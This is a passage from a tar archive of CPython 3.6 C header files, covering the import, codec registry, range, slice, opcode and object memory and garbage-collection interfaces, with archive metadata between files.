PyAPI_FUNC(int) PyCapsule_SetPointer(PyObject *capsule, void *pointer); PyAPI_FUNC(int) PyCapsule_SetDestructor(PyObject *capsule, PyCapsule_Destructor destructor); PyAPI_FUNC(int) PyCapsule_SetName(PyObject *capsule, const char *name); PyAPI_FUNC(int) PyCapsule_SetContext(PyObject *capsule, void *context); PyAPI_FUNC(void *) PyCapsule_Import( const char *name, /* UTF-8 encoded string */ int no_block); #ifdef __cplusplus } #endif #endif /* !Py_CAPSULE_H */ python3.6m/import.h 0000644 00000010211 15246445047 0010162 0 ustar 00 /* Module definition and import interface */ #ifndef Py_IMPORT_H #define Py_IMPORT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyImportZip_Init(void); PyMODINIT_FUNC PyInit_imp(void); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(long) PyImport_GetMagicNumber(void); PyAPI_FUNC(const char *) PyImport_GetMagicTag(void); PyAPI_FUNC(PyObject *) PyImport_ExecCodeModule( const char *name, /* UTF-8 encoded string */ PyObject *co ); PyAPI_FUNC(PyObject *) PyImport_ExecCodeModuleEx( const char *name, /* UTF-8 encoded string */ PyObject *co, const char *pathname /* decoded from the filesystem encoding */ ); PyAPI_FUNC(PyObject *) PyImport_ExecCodeModuleWithPathnames( const char *name, /* UTF-8 encoded string */ PyObject *co, const char *pathname, /* decoded from the filesystem encoding */ const char *cpathname /* decoded from the filesystem encoding */ ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyImport_ExecCodeModuleObject( PyObject *name, PyObject *co, PyObject *pathname, PyObject *cpathname ); #endif PyAPI_FUNC(PyObject *) PyImport_GetModuleDict(void); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyImport_AddModuleObject( PyObject *name ); #endif PyAPI_FUNC(PyObject *) PyImport_AddModule( const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) PyImport_ImportModule( const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) PyImport_ImportModuleNoBlock( const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) PyImport_ImportModuleLevel( const char *name, /* UTF-8 encoded string */ PyObject *globals, PyObject *locals, PyObject *fromlist, int level ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(PyObject *) PyImport_ImportModuleLevelObject( PyObject *name, PyObject *globals, PyObject *locals, PyObject *fromlist, int level ); #endif #define PyImport_ImportModuleEx(n, g, l, f) \ PyImport_ImportModuleLevel(n, g, l, f, 0) PyAPI_FUNC(PyObject *) PyImport_GetImporter(PyObject *path); PyAPI_FUNC(PyObject *) PyImport_Import(PyObject *name); PyAPI_FUNC(PyObject *) PyImport_ReloadModule(PyObject *m); PyAPI_FUNC(void) PyImport_Cleanup(void); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(int) PyImport_ImportFrozenModuleObject( PyObject *name ); #endif PyAPI_FUNC(int) PyImport_ImportFrozenModule( const char *name /* UTF-8 encoded string */ ); #ifndef Py_LIMITED_API #ifdef WITH_THREAD PyAPI_FUNC(void) _PyImport_AcquireLock(void); PyAPI_FUNC(int) _PyImport_ReleaseLock(void); #else #define _PyImport_AcquireLock() #define _PyImport_ReleaseLock() 1 #endif PyAPI_FUNC(void) _PyImport_ReInitLock(void); PyAPI_FUNC(PyObject *) _PyImport_FindBuiltin( const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) _PyImport_FindExtensionObject(PyObject *, PyObject *); PyAPI_FUNC(int) _PyImport_FixupBuiltin( PyObject *mod, const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(int) _PyImport_FixupExtensionObject(PyObject*, PyObject *, PyObject *); struct _inittab { const char *name; /* ASCII encoded string */ PyObject* (*initfunc)(void); }; PyAPI_DATA(struct _inittab *) PyImport_Inittab; PyAPI_FUNC(int) PyImport_ExtendInittab(struct _inittab *newtab); #endif /* Py_LIMITED_API */ PyAPI_DATA(PyTypeObject) PyNullImporter_Type; PyAPI_FUNC(int) PyImport_AppendInittab( const char *name, /* ASCII encoded string */ PyObject* (*initfunc)(void) ); #ifndef Py_LIMITED_API struct _frozen { const char *name; /* ASCII encoded string */ const unsigned char *code; int size; }; /* Embedding apps may change this pointer to point to their favorite collection of frozen modules: */ PyAPI_DATA(const struct _frozen *) PyImport_FrozenModules; #endif #ifdef __cplusplus } #endif #endif /* !Py_IMPORT_H */ python3.6m/codecs.h 0000644 00000015211 15246445047 0010115 0 ustar 00 #ifndef Py_CODECREGISTRY_H #define Py_CODECREGISTRY_H #ifdef __cplusplus extern "C" { #endif /* ------------------------------------------------------------------------ Python Codec Registry and support functions Written by Marc-Andre Lemburg (mal@lemburg.com). Copyright (c) Corporation for National Research Initiatives. ------------------------------------------------------------------------ */ /* Register a new codec search function. As side effect, this tries to load the encodings package, if not yet done, to make sure that it is always first in the list of search functions. The search_function's refcount is incremented by this function. */ PyAPI_FUNC(int) PyCodec_Register( PyObject *search_function ); /* Codec registry lookup API. Looks up the given encoding and returns a CodecInfo object with function attributes which implement the different aspects of processing the encoding. The encoding string is looked up converted to all lower-case characters. This makes encodings looked up through this mechanism effectively case-insensitive. If no codec is found, a KeyError is set and NULL returned. As side effect, this tries to load the encodings package, if not yet done. This is part of the lazy load strategy for the encodings package. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyCodec_Lookup( const char *encoding ); PyAPI_FUNC(int) _PyCodec_Forget( const char *encoding ); #endif /* Codec registry encoding check API. Returns 1/0 depending on whether there is a registered codec for the given encoding. */ PyAPI_FUNC(int) PyCodec_KnownEncoding( const char *encoding ); /* Generic codec based encoding API. object is passed through the encoder function found for the given encoding using the error handling method defined by errors. errors may be NULL to use the default method defined for the codec. Raises a LookupError in case no encoder can be found. */ PyAPI_FUNC(PyObject *) PyCodec_Encode( PyObject *object, const char *encoding, const char *errors ); /* Generic codec based decoding API. object is passed through the decoder function found for the given encoding using the error handling method defined by errors. errors may be NULL to use the default method defined for the codec. Raises a LookupError in case no encoder can be found. */ PyAPI_FUNC(PyObject *) PyCodec_Decode( PyObject *object, const char *encoding, const char *errors ); #ifndef Py_LIMITED_API /* Text codec specific encoding and decoding API. Checks the encoding against a list of codecs which do not implement a str<->bytes encoding before attempting the operation. Please note that these APIs are internal and should not be used in Python C extensions. XXX (ncoghlan): should we make these, or something like them, public in Python 3.5+? */ PyAPI_FUNC(PyObject *) _PyCodec_LookupTextEncoding( const char *encoding, const char *alternate_command ); PyAPI_FUNC(PyObject *) _PyCodec_EncodeText( PyObject *object, const char *encoding, const char *errors ); PyAPI_FUNC(PyObject *) _PyCodec_DecodeText( PyObject *object, const char *encoding, const char *errors ); /* These two aren't actually text encoding specific, but _io.TextIOWrapper * is the only current API consumer. */ PyAPI_FUNC(PyObject *) _PyCodecInfo_GetIncrementalDecoder( PyObject *codec_info, const char *errors ); PyAPI_FUNC(PyObject *) _PyCodecInfo_GetIncrementalEncoder( PyObject *codec_info, const char *errors ); #endif /* --- Codec Lookup APIs -------------------------------------------------- All APIs return a codec object with incremented refcount and are based on _PyCodec_Lookup(). The same comments w/r to the encoding name also apply to these APIs. */ /* Get an encoder function for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_Encoder( const char *encoding ); /* Get a decoder function for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_Decoder( const char *encoding ); /* Get an IncrementalEncoder object for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_IncrementalEncoder( const char *encoding, const char *errors ); /* Get an IncrementalDecoder object function for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_IncrementalDecoder( const char *encoding, const char *errors ); /* Get a StreamReader factory function for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_StreamReader( const char *encoding, PyObject *stream, const char *errors ); /* Get a StreamWriter factory function for the given encoding. */ PyAPI_FUNC(PyObject *) PyCodec_StreamWriter( const char *encoding, PyObject *stream, const char *errors ); /* Unicode encoding error handling callback registry API */ /* Register the error handling callback function error under the given name. This function will be called by the codec when it encounters unencodable characters/undecodable bytes and doesn't know the callback name, when name is specified as the error parameter in the call to the encode/decode function. Return 0 on success, -1 on error */ PyAPI_FUNC(int) PyCodec_RegisterError(const char *name, PyObject *error); /* Lookup the error handling callback function registered under the given name. As a special case NULL can be passed, in which case the error handling callback for "strict" will be returned. */ PyAPI_FUNC(PyObject *) PyCodec_LookupError(const char *name); /* raise exc as an exception */ PyAPI_FUNC(PyObject *) PyCodec_StrictErrors(PyObject *exc); /* ignore the unicode error, skipping the faulty input */ PyAPI_FUNC(PyObject *) PyCodec_IgnoreErrors(PyObject *exc); /* replace the unicode encode error with ? or U+FFFD */ PyAPI_FUNC(PyObject *) PyCodec_ReplaceErrors(PyObject *exc); /* replace the unicode encode error with XML character references */ PyAPI_FUNC(PyObject *) PyCodec_XMLCharRefReplaceErrors(PyObject *exc); /* replace the unicode encode error with backslash escapes (\x, \u and \U) */ PyAPI_FUNC(PyObject *) PyCodec_BackslashReplaceErrors(PyObject *exc); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* replace the unicode encode error with backslash escapes (\N, \x, \u and \U) */ PyAPI_FUNC(PyObject *) PyCodec_NameReplaceErrors(PyObject *exc); #endif #ifndef Py_LIMITED_API PyAPI_DATA(const char *) Py_hexdigits; #endif #ifdef __cplusplus } #endif #endif /* !Py_CODECREGISTRY_H */ python3.6m/rangeobject.h 0000644 00000001165 15246445047 0011143 0 ustar 00 /* Range object interface */ #ifndef Py_RANGEOBJECT_H #define Py_RANGEOBJECT_H #ifdef __cplusplus extern "C" { #endif /* A range object represents an integer range. This is an immutable object; a range cannot change its value after creation. Range objects behave like the corresponding tuple objects except that they are represented by a start, stop, and step datamembers. */ PyAPI_DATA(PyTypeObject) PyRange_Type; PyAPI_DATA(PyTypeObject) PyRangeIter_Type; PyAPI_DATA(PyTypeObject) PyLongRangeIter_Type; #define PyRange_Check(op) (Py_TYPE(op) == &PyRange_Type) #ifdef __cplusplus } #endif #endif /* !Py_RANGEOBJECT_H */ python3.6m/sliceobject.h 0000644 00000004665 15246445047 0011156 0 ustar 00 #ifndef Py_SLICEOBJECT_H #define Py_SLICEOBJECT_H #ifdef __cplusplus extern "C" { #endif /* The unique ellipsis object "..." */ PyAPI_DATA(PyObject) _Py_EllipsisObject; /* Don't use this directly */ #define Py_Ellipsis (&_Py_EllipsisObject) /* Slice object interface */ /* A slice object containing start, stop, and step data members (the names are from range). After much talk with Guido, it was decided to let these be any arbitrary python type. Py_None stands for omitted values. */ #ifndef Py_LIMITED_API typedef struct { PyObject_HEAD PyObject *start, *stop, *step; /* not NULL */ } PySliceObject; #endif PyAPI_DATA(PyTypeObject) PySlice_Type; PyAPI_DATA(PyTypeObject) PyEllipsis_Type; #define PySlice_Check(op) (Py_TYPE(op) == &PySlice_Type) PyAPI_FUNC(PyObject *) PySlice_New(PyObject* start, PyObject* stop, PyObject* step); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PySlice_FromIndices(Py_ssize_t start, Py_ssize_t stop); PyAPI_FUNC(int) _PySlice_GetLongIndices(PySliceObject *self, PyObject *length, PyObject **start_ptr, PyObject **stop_ptr, PyObject **step_ptr); #endif PyAPI_FUNC(int) PySlice_GetIndices(PyObject *r, Py_ssize_t length, Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step); PyAPI_FUNC(int) PySlice_GetIndicesEx(PyObject *r, Py_ssize_t length, Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step, Py_ssize_t *slicelength); #if !defined(Py_LIMITED_API) || (Py_LIMITED_API+0 >= 0x03050400 && Py_LIMITED_API+0 < 0x03060000) || Py_LIMITED_API+0 >= 0x03060100 #ifdef Py_LIMITED_API #define PySlice_GetIndicesEx(slice, length, start, stop, step, slicelen) ( \ PySlice_Unpack((slice), (start), (stop), (step)) < 0 ? \ ((*(slicelen) = 0), -1) : \ ((*(slicelen) = PySlice_AdjustIndices((length), (start), (stop), *(step))), \ 0)) #endif PyAPI_FUNC(int) PySlice_Unpack(PyObject *slice, Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step); PyAPI_FUNC(Py_ssize_t) PySlice_AdjustIndices(Py_ssize_t length, Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t step); #endif #ifdef __cplusplus } #endif #endif /* !Py_SLICEOBJECT_H */ python3.6m/opcode.h 0000644 00000011721 15246445047 0010130 0 ustar 00 /* Auto-generated by Tools/scripts/generate_opcode_h.py */ #ifndef Py_OPCODE_H #define Py_OPCODE_H #ifdef __cplusplus extern "C" { #endif /* Instruction opcodes for compiled code */ #define POP_TOP 1 #define ROT_TWO 2 #define ROT_THREE 3 #define DUP_TOP 4 #define DUP_TOP_TWO 5 #define NOP 9 #define UNARY_POSITIVE 10 #define UNARY_NEGATIVE 11 #define UNARY_NOT 12 #define UNARY_INVERT 15 #define BINARY_MATRIX_MULTIPLY 16 #define INPLACE_MATRIX_MULTIPLY 17 #define BINARY_POWER 19 #define BINARY_MULTIPLY 20 #define BINARY_MODULO 22 #define BINARY_ADD 23 #define BINARY_SUBTRACT 24 #define BINARY_SUBSCR 25 #define BINARY_FLOOR_DIVIDE 26 #define BINARY_TRUE_DIVIDE 27 #define INPLACE_FLOOR_DIVIDE 28 #define INPLACE_TRUE_DIVIDE 29 #define GET_AITER 50 #define GET_ANEXT 51 #define BEFORE_ASYNC_WITH 52 #define INPLACE_ADD 55 #define INPLACE_SUBTRACT 56 #define INPLACE_MULTIPLY 57 #define INPLACE_MODULO 59 #define STORE_SUBSCR 60 #define DELETE_SUBSCR 61 #define BINARY_LSHIFT 62 #define BINARY_RSHIFT 63 #define BINARY_AND 64 #define BINARY_XOR 65 #define BINARY_OR 66 #define INPLACE_POWER 67 #define GET_ITER 68 #define GET_YIELD_FROM_ITER 69 #define PRINT_EXPR 70 #define LOAD_BUILD_CLASS 71 #define YIELD_FROM 72 #define GET_AWAITABLE 73 #define INPLACE_LSHIFT 75 #define INPLACE_RSHIFT 76 #define INPLACE_AND 77 #define INPLACE_XOR 78 #define INPLACE_OR 79 #define BREAK_LOOP 80 #define WITH_CLEANUP_START 81 #define WITH_CLEANUP_FINISH 82 #define RETURN_VALUE 83 #define IMPORT_STAR 84 #define SETUP_ANNOTATIONS 85 #define YIELD_VALUE 86 #define POP_BLOCK 87 #define END_FINALLY 88 #define POP_EXCEPT 89 #define HAVE_ARGUMENT 90 #define STORE_NAME 90 #define DELETE_NAME 91 #define UNPACK_SEQUENCE 92 #define FOR_ITER 93 #define UNPACK_EX 94 #define STORE_ATTR 95 #define DELETE_ATTR 96 #define STORE_GLOBAL 97 #define DELETE_GLOBAL 98 #define LOAD_CONST 100 #define LOAD_NAME 101 #define BUILD_TUPLE 102 #define BUILD_LIST 103 #define BUILD_SET 104 #define BUILD_MAP 105 #define LOAD_ATTR 106 #define COMPARE_OP 107 #define IMPORT_NAME 108 #define IMPORT_FROM 109 #define JUMP_FORWARD 110 #define JUMP_IF_FALSE_OR_POP 111 #define JUMP_IF_TRUE_OR_POP 112 #define JUMP_ABSOLUTE 113 #define POP_JUMP_IF_FALSE 114 #define POP_JUMP_IF_TRUE 115 #define LOAD_GLOBAL 116 #define CONTINUE_LOOP 119 #define SETUP_LOOP 120 #define SETUP_EXCEPT 121 #define SETUP_FINALLY 122 #define LOAD_FAST 124 #define STORE_FAST 125 #define DELETE_FAST 126 #define STORE_ANNOTATION 127 #define RAISE_VARARGS 130 #define CALL_FUNCTION 131 #define MAKE_FUNCTION 132 #define BUILD_SLICE 133 #define LOAD_CLOSURE 135 #define LOAD_DEREF 136 #define STORE_DEREF 137 #define DELETE_DEREF 138 #define CALL_FUNCTION_KW 141 #define CALL_FUNCTION_EX 142 #define SETUP_WITH 143 #define EXTENDED_ARG 144 #define LIST_APPEND 145 #define SET_ADD 146 #define MAP_ADD 147 #define LOAD_CLASSDEREF 148 #define BUILD_LIST_UNPACK 149 #define BUILD_MAP_UNPACK 150 #define BUILD_MAP_UNPACK_WITH_CALL 151 #define BUILD_TUPLE_UNPACK 152 #define BUILD_SET_UNPACK 153 #define SETUP_ASYNC_WITH 154 #define FORMAT_VALUE 155 #define BUILD_CONST_KEY_MAP 156 #define BUILD_STRING 157 #define BUILD_TUPLE_UNPACK_WITH_CALL 158 /* EXCEPT_HANDLER is a special, implicit block type which is created when entering an except handler. It is not an opcode but we define it here as we want it to be available to both frameobject.c and ceval.c, while remaining private.*/ #define EXCEPT_HANDLER 257 enum cmp_op {PyCmp_LT=Py_LT, PyCmp_LE=Py_LE, PyCmp_EQ=Py_EQ, PyCmp_NE=Py_NE, PyCmp_GT=Py_GT, PyCmp_GE=Py_GE, PyCmp_IN, PyCmp_NOT_IN, PyCmp_IS, PyCmp_IS_NOT, PyCmp_EXC_MATCH, PyCmp_BAD}; #define HAS_ARG(op) ((op) >= HAVE_ARGUMENT) #ifdef __cplusplus } #endif #endif /* !Py_OPCODE_H */ python3.6m/objimpl.h 0000644 00000033644 15246445047 0010323 0 ustar 00 /* The PyObject_ memory family: high-level object memory interfaces. See pymem.h for the low-level PyMem_ family. */ #ifndef Py_OBJIMPL_H #define Py_OBJIMPL_H #include "pymem.h" #ifdef __cplusplus extern "C" { #endif /* BEWARE: Each interface exports both functions and macros. Extension modules should use the functions, to ensure binary compatibility across Python versions. Because the Python implementation is free to change internal details, and the macros may (or may not) expose details for speed, if you do use the macros you must recompile your extensions with each Python release. Never mix calls to PyObject_ memory functions with calls to the platform malloc/realloc/ calloc/free, or with calls to PyMem_. */ /* Functions and macros for modules that implement new object types. - PyObject_New(type, typeobj) allocates memory for a new object of the given type, and initializes part of it. 'type' must be the C structure type used to represent the object, and 'typeobj' the address of the corresponding type object. Reference count and type pointer are filled in; the rest of the bytes of the object are *undefined*! The resulting expression type is 'type *'. The size of the object is determined by the tp_basicsize field of the type object. - PyObject_NewVar(type, typeobj, n) is similar but allocates a variable-size object with room for n items. In addition to the refcount and type pointer fields, this also fills in the ob_size field. - PyObject_Del(op) releases the memory allocated for an object. It does not run a destructor -- it only frees the memory. PyObject_Free is identical. - PyObject_Init(op, typeobj) and PyObject_InitVar(op, typeobj, n) don't allocate memory. Instead of a 'type' parameter, they take a pointer to a new object (allocated by an arbitrary allocator), and initialize its object header fields. Note that objects created with PyObject_{New, NewVar} are allocated using the specialized Python allocator (implemented in obmalloc.c), if WITH_PYMALLOC is enabled. In addition, a special debugging allocator is used if PYMALLOC_DEBUG is also #defined. In case a specific form of memory management is needed (for example, if you must use the platform malloc heap(s), or shared memory, or C++ local storage or operator new), you must first allocate the object with your custom allocator, then pass its pointer to PyObject_{Init, InitVar} for filling in its Python- specific fields: reference count, type pointer, possibly others. You should be aware that Python has no control over these objects because they don't cooperate with the Python memory manager. Such objects may not be eligible for automatic garbage collection and you have to make sure that they are released accordingly whenever their destructor gets called (cf. the specific form of memory management you're using). Unless you have specific memory management requirements, use PyObject_{New, NewVar, Del}. */ /* * Raw object memory interface * =========================== */ /* Functions to call the same malloc/realloc/free as used by Python's object allocator. If WITH_PYMALLOC is enabled, these may differ from the platform malloc/realloc/free. The Python object allocator is designed for fast, cache-conscious allocation of many "small" objects, and with low hidden memory overhead. PyObject_Malloc(0) returns a unique non-NULL pointer if possible. PyObject_Realloc(NULL, n) acts like PyObject_Malloc(n). PyObject_Realloc(p != NULL, 0) does not return NULL, or free the memory at p. Returned pointers must be checked for NULL explicitly; no action is performed on failure other than to return NULL (no warning it printed, no exception is set, etc). For allocating objects, use PyObject_{New, NewVar} instead whenever possible. The PyObject_{Malloc, Realloc, Free} family is exposed so that you can exploit Python's small-block allocator for non-object uses. If you must use these routines to allocate object memory, make sure the object gets initialized via PyObject_{Init, InitVar} after obtaining the raw memory. */ PyAPI_FUNC(void *) PyObject_Malloc(size_t size); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(void *) PyObject_Calloc(size_t nelem, size_t elsize); #endif PyAPI_FUNC(void *) PyObject_Realloc(void *ptr, size_t new_size); PyAPI_FUNC(void) PyObject_Free(void *ptr); #ifndef Py_LIMITED_API /* This function returns the number of allocated memory blocks, regardless of size */ PyAPI_FUNC(Py_ssize_t) _Py_GetAllocatedBlocks(void); #endif /* !Py_LIMITED_API */ /* Macros */ #ifdef WITH_PYMALLOC #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyObject_DebugMallocStats(FILE *out); #endif /* #ifndef Py_LIMITED_API */ #endif /* Macros */ #define PyObject_MALLOC PyObject_Malloc #define PyObject_REALLOC PyObject_Realloc #define PyObject_FREE PyObject_Free #define PyObject_Del PyObject_Free #define PyObject_DEL PyObject_Free /* * Generic object allocator interface * ================================== */ /* Functions */ PyAPI_FUNC(PyObject *) PyObject_Init(PyObject *, PyTypeObject *); PyAPI_FUNC(PyVarObject *) PyObject_InitVar(PyVarObject *, PyTypeObject *, Py_ssize_t); PyAPI_FUNC(PyObject *) _PyObject_New(PyTypeObject *); PyAPI_FUNC(PyVarObject *) _PyObject_NewVar(PyTypeObject *, Py_ssize_t); #define PyObject_New(type, typeobj) \ ( (type *) _PyObject_New(typeobj) ) #define PyObject_NewVar(type, typeobj, n) \ ( (type *) _PyObject_NewVar((typeobj), (n)) ) /* Macros trading binary compatibility for speed. See also pymem.h. Note that these macros expect non-NULL object pointers.*/ #define PyObject_INIT(op, typeobj) \ ( Py_TYPE(op) = (typeobj), _Py_NewReference((PyObject *)(op)), (op) ) #define PyObject_INIT_VAR(op, typeobj, size) \ ( Py_SIZE(op) = (size), PyObject_INIT((op), (typeobj)) ) #define _PyObject_SIZE(typeobj) ( (typeobj)->tp_basicsize ) /* _PyObject_VAR_SIZE returns the number of bytes (as size_t) allocated for a vrbl-size object with nitems items, exclusive of gc overhead (if any). The value is rounded up to the closest multiple of sizeof(void *), in order to ensure that pointer fields at the end of the object are correctly aligned for the platform (this is of special importance for subclasses of, e.g., str or int, so that pointers can be stored after the embedded data). Note that there's no memory wastage in doing this, as malloc has to return (at worst) pointer-aligned memory anyway. */ #if ((SIZEOF_VOID_P - 1) & SIZEOF_VOID_P) != 0 # error "_PyObject_VAR_SIZE requires SIZEOF_VOID_P be a power of 2" #endif #define _PyObject_VAR_SIZE(typeobj, nitems) \ _Py_SIZE_ROUND_UP((typeobj)->tp_basicsize + \ (nitems)*(typeobj)->tp_itemsize, \ SIZEOF_VOID_P) #define PyObject_NEW(type, typeobj) \ ( (type *) PyObject_Init( \ (PyObject *) PyObject_MALLOC( _PyObject_SIZE(typeobj) ), (typeobj)) ) #define PyObject_NEW_VAR(type, typeobj, n) \ ( (type *) PyObject_InitVar( \ (PyVarObject *) PyObject_MALLOC(_PyObject_VAR_SIZE((typeobj),(n)) ),\ (typeobj), (n)) ) /* This example code implements an object constructor with a custom allocator, where PyObject_New is inlined, and shows the important distinction between two steps (at least): 1) the actual allocation of the object storage; 2) the initialization of the Python specific fields in this storage with PyObject_{Init, InitVar}. PyObject * YourObject_New(...) { PyObject *op; op = (PyObject *) Your_Allocator(_PyObject_SIZE(YourTypeStruct)); if (op == NULL) return PyErr_NoMemory(); PyObject_Init(op, &YourTypeStruct); op->ob_field = value; ... return op; } Note that in C++, the use of the new operator usually implies that the 1st step is performed automatically for you, so in a C++ class constructor you would start directly with PyObject_Init/InitVar */ #ifndef Py_LIMITED_API typedef struct { /* user context passed as the first argument to the 2 functions */ void *ctx; /* allocate an arena of size bytes */ void* (*alloc) (void *ctx, size_t size); /* free an arena */ void (*free) (void *ctx, void *ptr, size_t size); } PyObjectArenaAllocator; /* Get the arena allocator. */ PyAPI_FUNC(void) PyObject_GetArenaAllocator(PyObjectArenaAllocator *allocator); /* Set the arena allocator. */ PyAPI_FUNC(void) PyObject_SetArenaAllocator(PyObjectArenaAllocator *allocator); #endif /* * Garbage Collection Support * ========================== */ /* C equivalent of gc.collect() which ignores the state of gc.enabled. */ PyAPI_FUNC(Py_ssize_t) PyGC_Collect(void); #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyGC_CollectNoFail(void); PyAPI_FUNC(Py_ssize_t) _PyGC_CollectIfEnabled(void); #endif /* Test if a type has a GC head */ #define PyType_IS_GC(t) PyType_HasFeature((t), Py_TPFLAGS_HAVE_GC) /* Test if an object has a GC head */ #define PyObject_IS_GC(o) (PyType_IS_GC(Py_TYPE(o)) && \ (Py_TYPE(o)->tp_is_gc == NULL || Py_TYPE(o)->tp_is_gc(o))) PyAPI_FUNC(PyVarObject *) _PyObject_GC_Resize(PyVarObject *, Py_ssize_t); #define PyObject_GC_Resize(type, op, n) \ ( (type *) _PyObject_GC_Resize((PyVarObject *)(op), (n)) ) /* GC information is stored BEFORE the object structure. */ #ifndef Py_LIMITED_API typedef union _gc_head { struct { union _gc_head *gc_next; union _gc_head *gc_prev; Py_ssize_t gc_refs; } gc; double dummy; /* force worst-case alignment */ } PyGC_Head; extern PyGC_Head *_PyGC_generation0; #define _Py_AS_GC(o) ((PyGC_Head *)(o)-1) /* Bit 0 is set when tp_finalize is called */ #define _PyGC_REFS_MASK_FINALIZED (1 << 0) /* The (N-1) most significant bits contain the gc state / refcount */ #define _PyGC_REFS_SHIFT (1) #define _PyGC_REFS_MASK (((size_t) -1) << _PyGC_REFS_SHIFT) #define _PyGCHead_REFS(g) ((g)->gc.gc_refs >> _PyGC_REFS_SHIFT) #define _PyGCHead_SET_REFS(g, v) do { \ (g)->gc.gc_refs = ((g)->gc.gc_refs & ~_PyGC_REFS_MASK) \ | (((size_t)(v)) << _PyGC_REFS_SHIFT); \ } while (0) #define _PyGCHead_DECREF(g) ((g)->gc.gc_refs -= 1 << _PyGC_REFS_SHIFT) #define _PyGCHead_FINALIZED(g) (((g)->gc.gc_refs & _PyGC_REFS_MASK_FINALIZED) != 0) #define _PyGCHead_SET_FINALIZED(g, v) do { \ (g)->gc.gc_refs = ((g)->gc.gc_refs & ~_PyGC_REFS_MASK_FINALIZED) \ | (v != 0); \ } while (0) #define _PyGC_FINALIZED(o) _PyGCHead_FINALIZED(_Py_AS_GC(o)) #define _PyGC_SET_FINALIZED(o, v) _PyGCHead_SET_FINALIZED(_Py_AS_GC(o), v) #define _PyGC_REFS(o) _PyGCHead_REFS(_Py_AS_GC(o)) #define _PyGC_REFS_UNTRACKED (-2) #define _PyGC_REFS_REACHABLE (-3) #define _PyGC_REFS_TENTATIVELY_UNREACHABLE (-4) /* Tell the GC to track this object. NB: While the object is tracked the * collector it must be safe to call the ob_traverse method. */ #define _PyObject_GC_TRACK(o) do { \ PyGC_Head *g = _Py_AS_GC(o); \ if (_PyGCHead_REFS(g) != _PyGC_REFS_UNTRACKED) \ Py_FatalError("GC object already tracked"); \ _PyGCHead_SET_REFS(g, _PyGC_REFS_REACHABLE); \ g->gc.gc_next = _PyGC_generation0; \ g->gc.gc_prev = _PyGC_generation0->gc.gc_prev; \ g->gc.gc_prev->gc.gc_next = g; \ _PyGC_generation0->gc.gc_prev = g; \ } while (0); /* Tell the GC to stop tracking this object. * gc_next doesn't need to be set to NULL, but doing so is a good * way to provoke memory errors if calling code is confused. */ #define _PyObject_GC_UNTRACK(o) do { \ PyGC_Head *g = _Py_AS_GC(o); \ assert(_PyGCHead_REFS(g) != _PyGC_REFS_UNTRACKED); \ _PyGCHead_SET_REFS(g, _PyGC_REFS_UNTRACKED); \ g->gc.gc_prev->gc.gc_next = g->gc.gc_next; \ g->gc.gc_next->gc.gc_prev = g->gc.gc_prev; \ g->gc.gc_next = NULL; \ } while (0); /* True if the object is currently tracked by the GC. */ #define _PyObject_GC_IS_TRACKED(o) \ (_PyGC_REFS(o) != _PyGC_REFS_UNTRACKED) /* True if the object may be tracked by the GC in the future, or already is. This can be useful to implement some optimizations. */ #define _PyObject_GC_MAY_BE_TRACKED(obj) \ (PyObject_IS_GC(obj) && \ (!PyTuple_CheckExact(obj) || _PyObject_GC_IS_TRACKED(obj))) #endif /* Py_LIMITED_API */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_GC_Malloc(size_t size); PyAPI_FUNC(PyObject *) _PyObject_GC_Calloc(size_t size); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(PyObject *) _PyObject_GC_New(PyTypeObject *); PyAPI_FUNC(PyVarObject *) _PyObject_GC_NewVar(PyTypeObject *, Py_ssize_t); PyAPI_FUNC(void) PyObject_GC_Track(void *); PyAPI_FUNC(void) PyObject_GC_UnTrack(void *); PyAPI_FUNC(void) PyObject_GC_Del(void *); #define PyObject_GC_New(type, typeobj) \ ( (type *) _PyObject_GC_New(typeobj) ) #define PyObject_GC_NewVar(type, typeobj, n) \ ( (type *) _PyObject_GC_NewVar((typeobj), (n)) ) /* Utility macro to help write tp_traverse functions. * To use this macro, the tp_traverse function must name its arguments * "visit" and "arg". This is intended to keep tp_traverse functions * looking as much alike as possible. */ #define Py_VISIT(op) \ do { \ if (op) { \ int vret = visit((PyObject *)(op), arg); \ if (vret) \ return vret; \ } \ } while (0) /* Test if a type supports weak references */ #define PyType_SUPPORTS_WEAKREFS(t) ((t)->tp_weaklistoffset > 0) #define PyObject_GET_WEAKREFS_LISTPTR(o) \ ((PyObject **) (((char *) (o)) + Py_TYPE(o)->tp_weaklistoffset)) #ifdef __cplusplus } #endif #endif /* !Py_OBJIMPL_H */ python3.6m/eval.h 0000644 00000001125 15246445047 0007603 0 ustar 00 /* Interface to execute compiled code */ #ifndef Py_EVAL_H #define Py_EVAL_H #ifdef __cplusplus extern "C" 